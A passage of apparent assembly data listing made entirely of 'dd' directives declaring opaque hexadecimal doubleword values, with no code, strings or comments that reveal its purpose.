4EA4BF15h, 0C88FD786h, 8B27A724h, 60F26180h dd 4BE722BDh, 0D637FB9h, 391684B2h, 0E985691Eh, 0DA522157h dd 63284766h, 68D8581Bh, 7CE71EAAh, 0D539A746h, 7FBDDB06h dd 669F1DBFh, 0C4606904h, 54102B7Bh, 0CDD0DF1Ch, 77DAF47Ah dd 0C3775104h, 0EA04C71Ch, 443F819Ch, 7AE42CDAh, 0CCFD7BC4h dd 82764579h, 10F8878Eh, 392EBF5Bh, 0F9DF2898h, 31EFC91Eh dd 0CA62E97Fh, 35E3C1h, 0DE4B2183h, 0ED250D61h, 0F306B4D6h dd 9ADE8B78h, 0B6A57426h, 0C8C34A80h, 0A9F73C66h, 4C9F9942h dd 0A76CD51Eh, 0BED13E62h dd 4CF1337Fh, 0E9D637C6h, 3B3156FBh, 69647512h, 66C4310h dd 4A41907Dh, 6FB812F6h, 1A18E5ECh, 125BB67Eh, 585E4ABFh dd 8AE001A5h, 6EFEA79Bh, 0A49621F8h, 264B2FD0h, 6A60D290h dd 8E733F7Ah, 8E3B97C3h, 2431646Dh, 0DCBFD80Fh, 7DB11364h dd 8EA44889h, 8DB9F17h, 36678470h, 44922703h, 356B6CE1h dd 3A6CF24Fh, 6FEBC4ADh, 64598757h, 40F3B0EBh, 0F4CA1F71h dd 33CAB6B6h, 48BED3EEh, 0FA0C7595h, 1A42A711h, 3912EC9Fh dd 57E6B351h, 0BD72C8D6h, 0AEEC5291h, 150341BEh, 0E3B90D96h dd 74D03D24h, 2D9EA36Ah, 27FE4E57h, 0E46116A1h, 0B8E6EF94h dd 0A3FC121Fh, 7808D9Eh, 7A9FD928h, 0DCBE057Ah, 0BA4EE2F0h dd 1D43082Eh, 0E7F9E3F8h, 989FC663h, 9DFBEBF6h, 8B2564F0h dd 34910EE8h, 993236D7h, 5B7492BEh, 7F1EFE65h, 0E70534B9h dd 132C6720h, 2A693017h, 0F74A2BD4h, 85AA3C8Bh, 0E46C1A37h dd 0CEBAF6E2h, 9EDCFCA7h, 0C1FD8256h, 776F2FDEh, 0A0985EEDh dd 14EB1EE2h, 3C02BEFCh, 3C663E72h, 34AE0E1Fh, 41353A78h dd 755F1B54h, 9E350CD1h, 3227117Ch, 0A065ABB3h, 2DDF879Dh dd 754BF353h, 7B88DF93h, 4177F0C5h, 0E0833DB9h, 210718FFh dd 72CF17E0h, 0E924370Bh, 0AD8DC7F4h, 233339EBh, 0A8FCDA8Eh dd 2DE54954h, 13334A89h, 720CFD8Dh, 0E8CD6C07h, 956B9A7Dh dd 5A6FA636h, 0D6CC84A0h, 0CD9B201Bh, 68C955D3h, 16248FEh dd 97E15F02h, 9B981E0Fh, 0DF5052D6h, 5F373493h, 0C8EE2ACEh dd 8D105FD2h, 0C4C72C65h, 0C7D517Fh, 0A4B3BB98h, 170BBAD0h dd 96517CE2h, 90AC8B58h, 0B1060D2Dh, 5D9CE892h, 4B2CB6D9h dd 0BC6F2712h, 8831D961h, 0AB5CA3D0h, 0F6D0214Dh, 5A8968ACh dd 0F3DDBF43h, 0BB428547h, 644C7415h, 0D4261F8Dh, 154FB611h dd 19B131B3h, 0E972C8E9h, 0E91EE5EBh, 0C207A0D6h, 90B30308h dd 1DE14274h, 3B47A3DAh, 64367D6Eh, 0FBC43B91h, 14849C8Ah dd 0D592A5E5h, 0D4798B7Bh, 4272E6CCh, 0C81E70FDh, 82B0550Bh dd 96ACD802h, 8EE716B7h, 0AD0458E2h, 0A566F593h, 53B7951Bh dd 54B43895h, 58DAF6DBh, 441AC6Dh, 6B77E00Dh, 0C098AA22h dd 0B67952BCh, 0A7621486h, 2D529F0Fh, 3279BD7Fh, 38CAC528h dd 0CCFE70A1h, 8E8C1157h, 0E750933Ch, 8D046541h, 8A48008Ch dd 0C60FE312h, 0C7EF7F79h, 4BAD1A61h, 0E4C7DC39h, 0C7BF0F97h dd 9686FCAh, 0E986E14Fh, 39AF8FC4h, 0F495C673h, 0E9A438E5h dd 0B4D155E4h, 3CEBD4E6h, 35DCEF98h, 4D06D0BBh, 0CCCAE2AFh dd 212FC363h, 0F7A79624h, 2C9B930h, 7D9F7FC0h, 235EC989h dd 82B2AF15h, 41F86CC3h, 2E5E71B8h, 0F33F32C4h, 8924386Ah dd 0FBD914ECh, 17A7D0C3h, 9F360394h, 2EEA21E4h, 5CA7D4CDh dd 9C9EC04Ch, 72F2D9E6h, 12DC5455h, 3B4814A1h, 30C74211h dd 0E67F6218h, 0A9ACD3A3h, 4C36D791h, 621D1B77h, 3C4F427Bh dd 0E376B481h, 9653AC6Bh, 697DDD9h, 47AC33Dh, 88045CEh dd 791AC550h, 0EC7CBC51h, 59ABFD94h, 0DAB9C5D9h, 0B01644E0h dd 8FBBA869h, 849F0B6Ch, 0D3E84B5Ah, 2E319D6h, 5CB806D4h dd 3ADD0D5Dh, 0A319AD33h, 0E5F2549Dh, 2AB31ABCh, 11ED9E20h dd 0CB5E1A55h, 0D6F0808Bh, 7D721FC8h, 0D9F0DA51h, 0ADA41445h dd 3A6F5D58h, 5FD6F65Eh, 0EFEBB732h, 2B90F234h, 0AB0B4ACFh dd 77D6162Dh, 5FC90D1Bh, 0E5B9E610h, 0C40B8504h, 291D6312h dd 0F464639Fh, 0FF6A82EDh, 544EAAD1h, 0C5E42B8Ah, 389DBC74h dd 90D6684Dh, 0E4FDCBC6h, 1A7112CAh, 74E1037Fh, 0C29DBAC5h dd 0D80B9083h, 4FB3EEF5h, 0DD5FE093h, 37361Eh, 0E47F05ADh dd 600F800h, 23A22369h, 0E6954BC1h, 0F2E72153h, 0CAB299C3h dd 621F3A55h, 39E5DAEEh, 432471F9h, 0A82191DCh, 5BD39978h dd 0F9605DEEh, 5CAE887Eh, 83C5FE40h, 545638E8h, 0CE136044h dd 0FF4C7130h, 259901EBh, 97497A8Bh, 491DA9B8h, 0E7868315h dd 6A26DF5Ch, 8CAF9ACAh, 8CFDDBh, 0B41D25C5h, 0E58B46Ah dd 5BFC91A2h, 21D9750Eh, 3557062Eh, 5B44BB08h, 68F4BCC6h dd 7219DB20h, 9F1B2D8h, 56F2FCE7h, 7FD6010Ah, 0E10E71FBh dd 8F7BBD07h, 5D862B5h, 25A4E9AEh, 0C8F78961h, 778A597Ah dd 0A2C66B30h, 0BA8E8ED6h, 0AF32CEFBh, 598BE02h, 5A41A14Dh dd 4B6933A5h, 1CD3D9Fh, 3BE37271h, 53B9C6Ch, 0DBAE5479h dd 4CD31766h, 24A64C0Bh, 70381F49h, 0A76DAC21h, 6318D1A1h dd 0E92FB32Ch, 0EF6D2916h, 14C7E02h, 0C7EE811h, 0D6598934h dd 3B301D3Ch, 5E146A33h, 0F06BAA07h, 43D1438Bh, 0C4004851h dd 0E23A101Dh, 2277AD4Eh, 0E0381833h, 0C403D8C3h, 74D66914h dd 0D7BED63Dh, 8295FC7Eh, 0DD51617Fh, 8053336Ah, 0BD414D2Ch dd 309E26D8h, 10DAEE7h, 309FD0D9h, 64AD245h, 95762861h dd 9138300Bh, 1013C8F6h, 784FE8CAh, 754587DCh, 1E2E0B3h dd 8B476574h, 0A1BE54C3h, 5F316D4Bh, 38E4FD93h, 0E4518AF0h dd 4DDB2E12h, 77700F31h, 0EEC8E828h, 0F4E80193h, 200CFA45h dd 8A3B23C1h, 66F43392h, 0B4272C45h, 41626295h, 981FE4DCh dd 0A6C32090h, 0EF3C7772h, 0B12C4350h, 23B61895h, 18905455h dd 0EEC15AF9h, 0AA25638Eh, 9D803349h, 93787B97h, 635C84F2h dd 0CA734C35h, 7A448B6h, 1070EE71h, 0E7047970h, 0FDDAD7AEh dd 22156FE5h, 0E0A50C38h, 0DA767233h, 18EBEA6Fh, 0F6F9DE1Dh dd 0B0F9A408h, 0C0D3C395h, 8D800A04h, 0C14AC4B6h, 70A6F391h dd 0BC82F818h, 0A279FB1Ah, 0FC0B395Ch, 1ABA96D2h, 0B03063FDh dd 0B0C0BA90h, 30FBE0DBh, 0FB7CE369h, 313A779h, 0ECAE087Eh dd 0E0517AD4h, 7E7B2858h, 0A6900D03h, 8F13794Eh, 0CA232B30h dd 0F477C36Bh, 0E026E4E6h, 6938CC90h, 2A73C0EBh, 5A90646Bh dd 29C75723h, 447842D6h, 648E3F17h, 8C76FFA0h, 22EBF9AFh dd 6F94B839h, 233C84EDh, 0F611BC34h, 72814DB6h, 3B909850h dd 712BA7A5h, 0B433D971h, 0D272333Ah, 8F457F30h, 943A0C9Ah dd 8DEDE243h, 0D2506CDAh, 15A244D9h, 0D840523Bh, 0FA691578h dd 7C883278h, 88C1BDD2h, 2EABCBF2h, 6C61BF0Ah, 31A6E9CCh dd 9EFC8ABDh, 1C1BDE4h, 0E2A25702h, 0B39F9161h, 0A95D8CD0h dd 1FD7444h, 79F382FEh, 36437667h, 22623FAAh, 0A924E8E1h dd 0AC73545Ah, 7E8D480h, 6184765Fh, 55D94AA9h, 0FF954B49h dd 0C0ED1B18h, 0DA64DC9Ah, 0EB1E5B35h, 0A1814B27h, 28D6A780h dd 82E2D239h, 0E5222643h, 19F4D4FBh, 0EA0905FEh, 8D87F11h dd 1210BCE3h, 15A2E35Ch, 7EB3AA32h, 0AFF69863h, 0EE9DA8E4h dd 4AA0EF0h, 148B4CB5h, 0F110EE7h, 5529D0FEh, 94EA8102h dd 6B688E62h, 448FAA19h, 2BB40C96h, 0EA403C54h, 0DD4D57DFh dd 0B9D7D758h, 45F1BE92h, 0BB007502h, 269FC2E1h, 4606D357h dd 950B9826h, 4C541559h, 1420509Ch, 0DFEF0EECh, 85FEA485h dd 0AC29543Ah, 0F4364652h, 3C78C439h, 0AC329B13h, 0BE0E2461h dd 8A6CBF53h, 91ADF030h, 0CD1C37B4h, 1A098C3Dh, 0DA2CFEDBh dd 5418BE93h, 924D0691h, 0A64910EAh, 25F5544Ah, 2B097CE0h dd 0E16B8F9Ch, 3938C7F2h, 4A776E4Dh, 896E8EA7h, 0BD190D4h dd 439A8BA3h, 2296A4ACh, 51342DBh, 94335E72h, 8072EC0Bh dd 9F3EF03Ch, 84D540E8h, 59753F85h, 87A86B33h, 0C9AE5AA2h dd 6DBE9557h, 2DA3EF30h, 0EC74DEB9h, 8F42380Dh, 0FC447BD3h dd 1C5DC0D0h, 0A9D2F54Dh, 86B10404h, 40BEC221h, 6BDF2B35h dd 0FD34FD73h, 1D616771h dd 3E5C03ACh, 8B4E3453h, 2AF65680h, 0AA52BCE7h, 0F98B2633h dd 0C158A534h, 265ECA51h, 9D1361EAh, 511F5EC2h, 9AF7926Eh dd 0B8D50C35h, 576A1551h, 42BCE5F0h, 0E7B9D29h, 0A3E412A1h dd 0B86F5CADh, 0BD14661Ch, 0ECAE8DE1h, 0DBC3A0B3h, 3C16FA41h dd 2443250Dh, 1D1395EBh, 8FB3F6ACh, 0B7AFC144h, 16E4D062h dd 0EBA7F49Fh, 5E30BBBFh, 0F365BE28h, 4B0E720Fh, 1E9A2412h dd 0D3B73226h, 0E9D1BC6h, 29045F57h, 85D0D657h, 6E7E62CFh dd 474AA6E2h, 27AF203Ch, 94453B54h, 7B6B5942h, 0B29C5281h dd 58FBA752h, 1E06E249h, 202A8253h, 58C4E5F7h, 7526DAF5h dd 9294D70Ch, 0AE57F272h, 12313832h, 8FB176Dh, 5B056E6Bh dd 0AE309012h, 19C1622Ch, 2ED4332Bh, 6E3ADB1Ah, 0AD3FA491h dd 0F453F5FAh, 0DC6A47F3h, 3ADF0E3Dh, 8F80BD4Bh, 0D5079143h dd 0F65130A0h, 0E1AE3DE1h, 0DBC20785h, 0FAB41269h, 782F07h dd 5B93D78h, 0D44CE233h, 8726BFFFh, 0D248871Fh, 621C8BFFh dd 0AD8BD0C4h, 92DF7F62h, 4EE95577h, 555CA321h, 49F1F8C3h dd 9BD3E2F0h, 0D6F17CFBh, 465E7DC5h, 6F3F51EBh, 0A10EDCE3h dd 7A5FDA7Ah, 6DDA307Fh, 0C47D1D58h, 0FCA2550Dh, 0EA5568B8h dd 53EAD1BDh, 353520DDh, 503E8E79h, 9A657431h, 0E63D02h dd 9AC04DA5h, 0F3A66D71h, 3B8B4CDh, 0BE371CEEh, 337B7C90h dd 984B8902h, 0D0BA2528h, 57F50FACh, 79A65FECh, 1D66142h dd 21805F3Dh, 9CF375CEh, 2A4422F8h, 8C8768B6h, 75DFC451h dd 13D03872h, 1AB7F13Bh, 0E5049632h, 0A883E3B4h, 39364B4Ch dd 69F9E95Ch, 0DA552ECDh, 0A0314EAAh, 0A49D572Dh, 97592F5Ah dd 0EFA60373h, 7ADB6434h, 0A2A5A65Eh, 6BF091A0h, 0B9F83F1h dd 0C1BE9832h, 0D04FAFF4h, 0E2AF9717h, 0EED3EAB9h, 4CF14E7h dd 42FB0C54h, 168384E1h, 777B9DDCh, 0F68B0E55h, 4D64FF64h dd 7157D916h, 793CA28Ch, 0DF6111D7h, 8E107483h, 0DDB62787h dd 7F2E6A2Bh, 736180FCh, 0E54B60C3h, 5199F37Bh, 0DE13F241h dd 0E4C18B1h, 0DAF3EEF1h, 2FAE6B56h, 0E2A33A95h, 0C3BB33C4h dd 35F39171h, 0AE6F263Ah, 3A29538Ch, 0AAD25033h, 0C4742104h dd 0CE7E48AFh, 0C153AF7Ch, 0BF383EE5h, 5E14FD8Ch, 7884A371h dd 21E76F51h, 0A036A3Fh, 0E55F2148h, 0FD180075h, 6C52C54Ch dd 0AC50C2C1h, 960C1506h, 0DE8C8417h, 36530619h, 9E1CE460h dd 996D3F8Ch, 0EEFF4E50h, 0D6A0195Bh, 2399CDE5h, 4AB96A3Dh dd 12C95ABDh, 0DA544032h, 0E3E53B38h, 8A188E6Eh, 0EC7455Ch dd 88A92D08h, 8B60DEA9h, 46E1C329h, 0F83FBF7Ch, 0BC66AC08h dd 0E42AF4B1h, 5AB59C49h, 3FFD096Fh, 8A4C0EAAh, 36523DFCh dd 16731198h, 0E3225225h, 0B6D8A970h, 62F317B2h, 0BCCA00CFh dd 0FBC9A853h, 0D1004BA5h, 0E90C0E5Bh, 971FE13Dh, 0ACCDE7EBh dd 243418EEh, 0F8E797CBh, 0B33C3A73h, 24694BEh, 0D975F1E4h dd 53F9E5DCh, 0F0C50519h, 48B5D73Eh, 762E472Dh, 9BDDB698h dd 0F21D7A8Ch, 39299474h, 0A2313239h, 1BE1B85Dh, 21AC31F2h dd 0E5589152h, 56D51587h, 665CF1C4h, 822587D8h, 1C396A4Bh dd 0C5B51196h, 0BDCD402Ah, 38CE7F1Dh, 0BC2A18AFh, 14263C5Ch dd 5CE19734h, 562DD72h, 1164526Bh, 0D5EF8EA1h, 8E6101C7h dd 7E63A245h, 6354AF72h, 66BE84CFh, 5C932C2Fh, 12976375h dd 0A906B082h, 81798261h, 0C2937D84h, 0DC097C72h, 0C789E765h dd 8DFD07D8h, 3E0EF998h, 0E5176F79h, 0A5E2E316h, 6FDEED13h dd 2784846Eh, 0CF7FD266h, 0E3A11D15h, 7ECBC4E8h, 58D58AD3h dd 0E5B33D46h, 59DCA7B2h, 73B70613h, 9CA69AA2h, 0AF3E1BF4h dd 2989B7A8h, 0DFE5FF02h, 61D5E6F3h, 15ABF8E7h, 0F617ADEh dd 0EDD623B9h, 5E50AF12h, 0A5BEFCA0h, 86FE080Fh, 5B27FD73h dd 424A350Ch, 0ED112F52h, 671FBDEDh, 0F609C63Ch, 0B7DB81CCh dd 0AFD52F23h, 5067506Ch, 7F4F2B90h, 33970878h, 4FE7D2D9h dd 0D29329DFh, 493E94F3h, 0F95D5C34h, 0E72B575h, 158B725Ch dd 0E6FF2171h, 0A4E3396Bh, 27D59038h, 2F14EEh, 554A86C9h dd 0D75D462Dh, 0C572A184h, 1B1EC453h, 0F8295803h, 0D30FD097h dd 0C9821622h, 0A1090336h, 17967388h, 95E3668Bh, 67E9060h dd 0D3529EB7h, 1C3498C5h, 0E405EFBh, 756980F4h, 6036092Ah dd 0D355547Ch, 658A5C04h, 0E493FC14h, 95C6063Eh, 2986B57Ch dd 9AA690B9h, 768DE16Dh, 0BCBDD88Ch, 0A4F58791h, 1FD3E6B8h dd 2454F69Ah, 0A56DDBBFh, 0F76101E3h, 0DD88BA32h, 0CD87EB0h dd 0C1A2217Bh, 0B00F8C02h, 0F052BCEh, 38CD0359h, 8EFF7C5Eh dd 0D7A00AE9h, 12495B8Ah, 2A989E1h, 36E29AF7h, 0BB3CEA13h dd 0DD7C2A8Dh, 36643AB4h, 9B8082EDh, 0C9103C47h, 0E9A32CACh dd 5C979E51h, 0E9555B58h, 0B34B0643h, 387F1301h, 30D3C9Dh dd 0B9C2F6A6h, 0AAB8E0B0h, 0C989EA54h, 70C5F5EFh, 9990470Fh dd 81917F5Bh, 0C7A4763Ah, 6481926Bh, 245EFC84h, 0C6FB3074h dd 0EF06FBD0h, 66FE87CCh, 0CAE43026h, 9B37DC1Ah, 0B5B930C2h dd 213D789Eh, 0FEE7C3C6h, 900C29F1h, 18DDB523h, 291E409Bh dd 0FFEE3383h, 0A9BA5468h, 54202C66h, 92779599h, 8E488862h dd 0D49B72E4h, 0CF202FA5h, 0A7EFFB99h, 7100E6CBh, 78B8628Eh dd 0A6B86467h, 59FB0809h, 18B5B3D3h, 0D673AC1Ch, 0C4C7EE85h dd 0AC05E2D5h, 0EC9D6314h, 8EC8A8FEh, 3816B2C6h, 725DB658h dd 486F6720h, 7A1F741Eh, 8529C23Eh, 0A1DF4C18h, 0FD727943h dd 81CD276Ch, 2277CA47h, 2F4E413Dh, 0D952A84Ah, 1C7EA629h dd 4028525Ch, 0CFAD14B1h, 0B431FC27h, 995625D8h, 93A2FC68h dd 0D61F2BD9h, 1DC2B097h, 3F1EB2AEh, 0CEA04F23h, 0CD6A4001h dd 81ED1241h, 0EFAF9AA4h, 276CDC8Fh, 2AB1C7A6h, 0D2BF1172h dd 7C76DB5h, 6F89829Eh, 0E06C1BC8h, 7B911320h, 0CE0B111Fh dd 0CFC30BB2h, 0FEEE0E24h, 0A96721CDh, 9A6F8EBBh, 78AAD598h dd 2BC4A8EEh, 69FFF882h, 0E440E377h, 9A41D0C4h, 0B2BD4EDFh dd 7AF89EE3h, 0F1D2723Ah, 0D687256Dh, 2E3BA73Bh, 9BAB28D8h dd 0BB8099F0h, 0FF38B19Fh, 41F5216h, 0A7924ADDh, 0D05D3CFh dd 0E65904F7h, 0C17B1781h, 0C5AE4431h, 83112D0h, 964CA6E7h dd 526E2381h, 15088AEBh, 79E9C492h, 8CF1F163h, 2DD19A8Eh dd 0D2BDBDEDh, 857B8792h, 835F006Dh, 5FD257AFh, 82909094h dd 98A24B7Ch, 48547DEEh, 3CBE7CE3h, 1D9DD698h, 0C8A59041h dd 57648ED8h, 0D47DF9B6h, 185C0CBFh, 2BD5EFFDh, 2CE587ECh dd 2564EB5Fh, 0C22FA088h, 8488E852h, 37D8B091h, 0CEEAC549h dd 0ACEF1C71h, 0F07359A2h, 0BB50D7F4h, 7209781Ch, 0BE8912B1h dd 0D9955520h, 48ADEDD5h, 7278EBF5h, 0DF8D8E2Ch, 8821529Ch dd 6FC20167h, 0BFE2B71Fh, 3F5B6183h, 0D79043h, 1FF3B6DCh dd 41641076h, 0CD33AAC8h, 0A6D25F4Ah, 34A524A4h, 6C4CE6CFh dd 112DBB0Dh, 679D90ADh, 0F66E6E27h, 838817D5h, 7B9A3B48h dd 0BE584BD4h, 0B0DC93A5h, 724CD74Eh, 4AC0C5F6h, 3183B511h dd 0EFD9F59Dh, 166B66A1h, 78F13C4Bh, 0FDC54C32h, 0F5C11C2h dd 0EB39943Dh, 183B94E4h, 703334EDh, 3BA8D813h, 95BB5E1Eh dd 0C5EA1002h, 0C890842h, 4E79B74Ch, 19D85AA4h, 664D12B9h dd 0B5A86B16h, 0E5963E79h, 0D11B4561h, 35F2A3A2h, 1F644257h dd 0A8B8722Bh, 0E8F9051Bh, 0FBE70404h, 4A37F147h, 4A76FACEh dd 71C439FEh, 0BAE10377h, 0B2AB33A8h, 52D9413Eh, 4B6545C7h dd 80C0DA01h, 0A523AF11h dd 0DFB3854Eh, 2A22B210h, 76619754h, 29203979h, 0E319AF63h dd 0A06A74BEh, 370B97BBh, 7AC3897Dh, 0B97A9454h, 67F7F58Bh dd 0A2734112h, 3F127778h, 0F9AF0843h, 0ACA4AFBDh, 0C06D149Dh dd 82A464D3h, 0A519226Dh, 68305BFFh, 0D0A1DDDEh, 238CD076h dd 77CF4F86h, 8148D9A5h, 4FEC1B08h, 67D2BE57h, 43B1077Dh dd 0FA390012h, 41BCAB4Ch, 90139FDBh, 374CB10Fh, 0A18F9FEFh dd 579C3FD8h, 8BF91A54h, 0AAF65D3Dh, 63AF5F52h, 4DBAD3FEh dd 0B4F2422Ah, 0BD8E4D23h, 2DFDFF08h, 0E0B449E9h, 0EDBB1372h dd 0CA08D9C4h, 4A448051h, 1D1EA1C1h, 0A84DF4EDh, 93B852BEh dd 0FF0186ABh, 67BC8Fh, 0BEA3CAA2h, 0DD4CB973h, 978DF2F9h dd 0F118045Ah, 56E9E14Bh, 0BF03F565h, 0F945F74Ah, 0E3E04E35h dd 3AE86BC8h, 7ED6B364h, 0D0F968A9h, 99922B05h, 0D0390F05h dd 0C5228FFBh, 1698DCEDh, 92FD3D22h, 0F043A83Fh, 0D4E23398h dd 15AEDF7h, 0CBC0BDA2h, 6A105ADAh, 68F60C01h, 0B072FBAEh dd 0F7E630A0h, 81877F84h, 68E06746h, 0EA77E58Eh, 0C8B56F82h dd 240A95E9h, 0A1B58F6h, 4538182Eh, 6495C639h, 1AAE31B4h dd 0D786586Ch, 9FDBFC55h, 89ED2178h, 8E2576h, 6CC6B80Ah dd 0C45E6D9Ah, 2448ABC8h, 958F5F79h, 432ECC7Ch, 532A14BFh dd 3AD050h, 0DFC465BAh, 401EC2C9h, 0A8C1624Bh, 0CA01A701h dd 0E718D06Bh, 0BD0C610Eh, 0C0717CD0h, 73BFB940h, 0A85F0D37h dd 55C7B5ABh, 8F2C681Ah, 0A7B5E76Eh, 408DCC0Dh, 3CA27466h dd 6A846161h, 33F31255h, 38383987h, 0F04F26Fh, 4D3237B4h dd 0BC5957BFh, 861A424Bh, 0EAAFA16Dh, 71B0B01Ah, 4B0F9BBEh dd 47B06DA4h, 0BF0F274h, 9AD82E7Ch, 0BD88CE35h, 14A2EC81h dd 0EC773C9Dh, 3F707F95h, 0CC88E3F3h, 5852841Bh, 381FF687h dd 9EEB3B40h, 0FC981D32h, 0A5735760h, 6C31B921h, 0F028A329h dd 6F479AB9h, 5894E14Dh, 0E00F1C96h, 73D635F8h, 0ECD030A4h dd 4A5B5EB6h, 91A6EF76h, 5E64CBFFh, 0B38A57DDh, 0E5D9233Ch dd 0A6583FEBh, 56B63057h, 0F288BA35h, 74ED23A9h, 9110ADC3h dd 6FC49762h, 0EF80532Eh, 0B1A260CAh, 6E5DFB8Ch, 9D6C0F8Dh dd 0DC4431EDh, 48F0DF1Eh, 5B39537Eh, 2CACF6C2h, 0F1E04FE9h dd 0B7D62BE7h, 9E319AD9h, 4D1CC2D5h, 0BE4C17EBh, 0C70A785Ch dd 0E217E33h, 0CD7A9AA4h, 0B4864F9Ah, 32FEFBE1h, 799EEC01h dd 0BE94670Bh, 0A867DEDFh, 0FE17B072h, 0F44E635Fh, 32333333h dd 8F97BC30h, 8A328390h, 0EA823840h, 0CCB4B7DDh, 0CFA15962h dd 5E42E3F6h, 6B04C667h, 9A1A417Ah, 168B52E2h, 0B67B3C7h dd 6C61DA52h, 0CCFAFCECh, 33402D66h, 0DFD5F964h, 0EFFC1197h dd 0BC62B1C9h, 0A02BCCFCh, 0DCB299C9h, 0F642B155h, 99E6B6C4h dd 17506FC3h, 1F4DF0BFh, 9AA9E179h, 5C73CD95h, 63BA0317h dd 7A31B67Eh, 0D69362h, 0D911394Bh, 3CF8F56Eh, 823B4F32h dd 899CCC39h, 9750BC31h, 4DD8C455h, 9FEA9E3Fh, 94BE949h dd 8CC7E45Eh, 0CA9EAB7Bh, 0E1C8D4FEh, 41E3DBB4h, 0F4AFE3E9h dd 8EAAD219h, 0D76AB0C4h, 9DAC6F51h, 0A8340363h, 0CA49D4E6h dd 31C7EE49h, 8F4C32D9h, 2BEDE148h, 3184C36Fh, 36C3D5CCh dd 9134B8EBh, 1D961A3Ah, 0E5C040E9h, 2A0B2EC1h, 206237D7h dd 1C6B6DA7h, 0AA7916E0h, 0E4BACF7Ah, 9BA860Eh, 27FA9C94h dd 18246FE5h, 0F56B7A2h, 779C3CADh, 0D1F3A43Eh, 0BD4773B5h dd 0ED8607D2h, 3BACF6C6h, 0E8B76C2Dh, 0FB8425FFh, 2777FE3Eh dd 73054183h, 2B3B18F5h, 0F1AC54ACh, 5A0CD25Dh, 0E6920916h dd 0D86C8895h, 86F07AA4h, 76538CD9h, 6C94C3D7h, 2056BDADh dd 3A859A9Eh, 7295EE24h, 3F795F86h, 451F9266h, 8BCC3610h dd 0EAD6FCF7h, 98711DD5h, 135092B2h, 0E3838FAh, 4FF877BCh dd 0CE3D5762h, 8BCC8EC9h, 0F4086B46h, 7DDFB88Ah, 0B0273EE4h dd 0B5D93A8Ch, 9990CFE8h, 7605CC97h, 0E6E04791h, 0C66F55D3h dd 87350198h, 0FF160FABh, 0E078F004h, 0B6081D8Ah, 0AFE27D6Bh dd 5B7C03B0h, 888A0E22h, 0E99E97E7h, 4C87DABCh, 0CB8D4B59h dd 2A45D102h, 0A530D798h, 0CADC372Ah, 0DE62A107h, 643B0802h dd 0A6EE8546h, 56E6E139h, 40299A7Eh, 58A8114Bh, 0E568308Eh dd 7A5832C0h, 1DCF23F1h, 4B8DAC22h, 6ADBF6D1h, 0EE3AB18Dh dd 2E5EC77Fh, 0C75AF158h, 4D107C45h, 975C8F29h, 3F9B5336h dd 5C42C99Dh, 0ED626D26h, 91AD0D38h, 14A96D27h, 0C502B81Dh dd 0AE9F0B07h, 7800E811h, 32A7D096h, 0B23C890h, 0A3E12DEAh dd 6E4D134Eh, 0E6D010E6h, 7DE31D09h, 77574273h, 2B347AA9h dd 0F703ACBFh, 0E6798EBAh, 7113BF74h, 0D8F24842h, 0E432FB3Eh dd 0FC046F1Dh, 9A50BC45h, 7543685Fh, 9A43F7F5h, 0BAA46E55h dd 0EC958E81h, 94C40BB1h, 0E733808Bh, 41AAF12Bh, 0D7904C88h dd 48ABF0ACh, 0AFA697DCh, 0CCADC9E6h, 0E4F07156h, 84C7C3CBh dd 0A8C5DE61h, 8F075287h, 7EEFE5ADh, 0E9E465Fh, 3C143374h dd 0D9A66715h, 0BBC6D088h, 4F32229Fh, 0F35D7F51h, 36B32402h dd 76C5F4A6h, 0F8A4C119h, 5DDA802Fh, 0F3E2AEDh, 0DCD7710Dh dd 0A7B74A28h, 2E4BB7B8h, 63E9C552h, 0B5FB3511h, 6F813316h dd 0E1DC2DC2h, 0BF5BF66Eh, 0A37FE170h, 2E9C26F7h, 0C8C9E034h dd 21206284h, 4CC53286h, 0AC3A37D8h, 489CC24Fh, 0DC185690h dd 0F00BFD59h, 0BA47D5CFh, 0F3059A67h, 6BBCE124h, 1B6A750Dh dd 0AE323A81h, 43426235h, 0AD552C94h, 0A444E4C4h, 9489F134h dd 0D411BE3Ch, 5F4E31B8h, 84CBE6A6h, 0C9AA4C62h, 5F08B8A0h dd 5DD5DE5Bh, 203E8F31h, 2A9E64B8h, 0F7DAACADh, 977400CDh dd 642FE3A8h, 56D718BAh, 0A40D303Eh, 0FE4C5489h, 594248Fh dd 4B8113F0h, 90E10DB1h, 8049C36h, 0EEC60FAh, 0FDF15446h dd 0C2740E1h, 0F5A721DBh, 0B7F6743Ch, 7B95EDDCh, 1250EA73h dd 7E37A15Ah, 4DCDEF98h, 5E7E03B4h, 0BE055328h, 0EA53F323h dd 15E66C08h, 6A2C885h, 5B3F16EBh, 0C99981D0h, 4AE58D5h dd 55BDA176h, 87DA69AFh, 0F48835DBh, 14C2553Fh, 734E0A3Dh dd 2624A79Dh, 8E76E485h, 0EF336ACh, 7A0C027Ch, 79ED8B73h dd 56727FD7h, 9827FD0Ah, 0C6DAD871h, 0B7937F78h, 42D9304h dd 0FC15D6C7h, 191C1FA3h, 3B5EAFB8h, 8444BDC1h, 1D099846h dd 26C36BACh, 729BD9EFh, 0CB58218Ch, 401579B8h, 0C861C75Eh dd 3F2BC40Eh, 2E6179D0h, 0F93AA3AFh, 0E45C0CBDh, 26F06143h dd 1D1A840Dh, 62E19766h, 9DD58E62h, 95E5C1FBh, 70477CE4h dd 3E705DAAh, 0AD3A2DB0h, 0A3D79322h, 6344E4C3h, 0CE015321h dd 357D9A7h, 0EAD7FE6Eh, 0D98DFCC5h, 0D8FFE7D5h, 6395ED10h dd 0B755496Eh, 432F75D2h, 0D8FFFD77h, 96E0683h, 98C67063h dd 0DEDC1480h, 0E9AA40B7h, 0E9FCDAC1h, 0E451DB5Bh, 52D8AE1Ch dd 0BB88BA87h, 0D585CBD5h, 74934469h, 0FDBD00DFh, 30463C83h dd 3C97358Ah, 5A7861A3h, 39B09C99h, 0D9A68F3Dh, 0D86FB3A7h dd 703FE1DDh, 0E252179Ch, 5F4E8D28h, 88035449h, 4D16A3A7h dd 6717DAA6h, 0E64BFCB9h, 458A90EBh, 3FDDC3CCh, 70B7E5A1h dd 0D6514117h, 23F2D4AFh, 636A776Eh, 0D61E5BC1h, 0BCBB9E4Dh dd 75DB227Bh, 0F7409B5h, 50A0244Ch, 805F6660h, 5D0F2E99h dd 0F88B225Fh, 0F84D58A3h, 451852B1h, 9EF887FFh, 0D4AE901Ch dd 40F1F9F0h, 0AA356C90h, 0BBC0BEDAh, 0DAF90618h, 755D99E4h dd 5DD16745h, 4C06D306h, 9E9CC16Ch, 0EFA6C5DCh, 712F19C9h dd 6E459A1Bh, 44C3D3AFh dd 